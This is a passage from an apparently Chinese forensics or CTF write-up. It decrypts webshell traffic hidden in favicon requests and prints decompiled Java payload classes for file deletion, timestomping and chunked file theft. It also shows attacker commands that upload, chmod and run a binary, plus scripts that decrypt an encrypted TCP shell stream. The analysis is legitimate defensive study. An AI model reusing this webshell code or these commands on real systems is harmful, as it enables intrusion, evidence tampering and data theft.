Map<String, String> result = new HashMap<>(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " 删除成功."); } else { result.put("status", "fail"); result.put("msg", "文件" + path + "存在，但是删除失败."); } } else { result.put("status", "fail"); result.put("msg", "文件不存在."); } return result; } private String getTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap<>(); if (f.exists()) { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue())); String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue())); String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue())); timeStampObj.put("createTime", createTimeStamp2); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); String result = buildJson(timeStampObj, true); return result; } throw new Exception("文件不存在"); } private boolean isWindows() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { return true; } return false; } private String updateTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime())); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime())); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime())); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); } return "时间戳修改成功。"; } throw new Exception("文件不存在"); } private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception { int size; FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch == null) { FileInputStream fis = new FileInputStream(path2); ch = fis.getChannel(); sessionSetAttribute(this.Session, "fis", fis); sessionSetAttribute(this.Session, path2, ch); } ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2); synchronized (ch) { ch.position(blockIndex2 * blockSize2); size = ch.read(buffer); } byte[] content2 = new byte[size]; System.arraycopy(buffer.array(), 0, content2, 0, size); return base64encode(content2); } private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); System.currentTimeMillis(); ZipOutputStream zos = null; try { try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); System.currentTimeMillis(); if (zos != null) { try { zos.close(); } catch (IOException e) { e.printStackTrace(); } } } catch (Exception e2) { throw new RuntimeException("zip error from ZipUtils", e2); } } catch (Throwable th) { if (zos != null) { try { zos.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile); while (true) { int len = in.read(buf); if (len != -1) { zos.write(buf, 0, len); } else { zos.closeEntry(); in.close(); return; } } } else { File[] listFiles = sourceFile.listFiles(); if (listFiles == null || listFiles.length == 0) { if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); return; } return; } for (File file : listFiles) { if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } } ... } {/collapse-item} {/collapse} 发现是获取了/的文件列表，返回值也印证了这一点。后续的几个包分别获取了： /tmp/ /var/ /var/tmp/ 的列表。 再之后发现： package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } 调用了写入文件的功能，往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico，发现有737个文件，编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息： import os import re import base64 from Crypto.Cipher import AES KEY = b"1f2c8075acd3d118" DIR = "export" def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" chunks = [] def get_sort_key(fname): match = re.search(r'\((\d+)\)', fname) return int(match.group(1)) if match else 0 files = sorted(os.listdir(DIR), key=get_sort_key) for fname in files: path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() data = decrypt_to_class(body) if data.startswith(b"\xca\xfe\xba\xbe"): with open(f"payload-{fname}.class", "wb") as file: file.write(data) print(f"Dump {fname} as java class file") else: with open(f"payload-{fname}.txt", "wb") as file: file.write(data) print(f"Dump {fname} as txt file") 一路看过去，发现中间都是在上传，最后检查了一遍Hash： package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } 并且给予执行权限： package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } 然后执行： package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } 得到了一个aes-key：IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=，之后就没有任何HTTP通信了。 第三层: 手写Shell 上面的HTTP流之后有一个TCP流通信，Dump出来发现： 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 因为其长度不固定，推测不是ECB和CBC，尝试使用常见的CTR和CFB： import base64 import binascii from Crypto.Cipher import AES from Crypto.Util import Counter key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) chunks = [] i = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] chunks.append(chunk) i += length iv=b'\x00' * 16 print(f"iv:0*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=b'\xff' * 16 print(f"iv:ff*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=key[:16] print(f"iv:key[:16]s") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") 发现没有可读数据： {collapse} {collapse-item label="代码部分 - 点击展开"} iv:0*16 ctr: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9' 1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{' 2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4' 3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2' 4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg' 5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe' 6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;' 7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT' 8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02' 9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d" cfb: 0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:ff*16 ctr: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf' 1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht' 2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb' 3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17' 4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu' 5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e' 6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr' 7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae' 8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W' 9: len31: b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>' cfb: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:key[:16]s ctr: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,' 1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6' 2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<" 3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf' 4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03' 5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5" 6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.' 7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01" 8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb" 9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.' cfb: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: 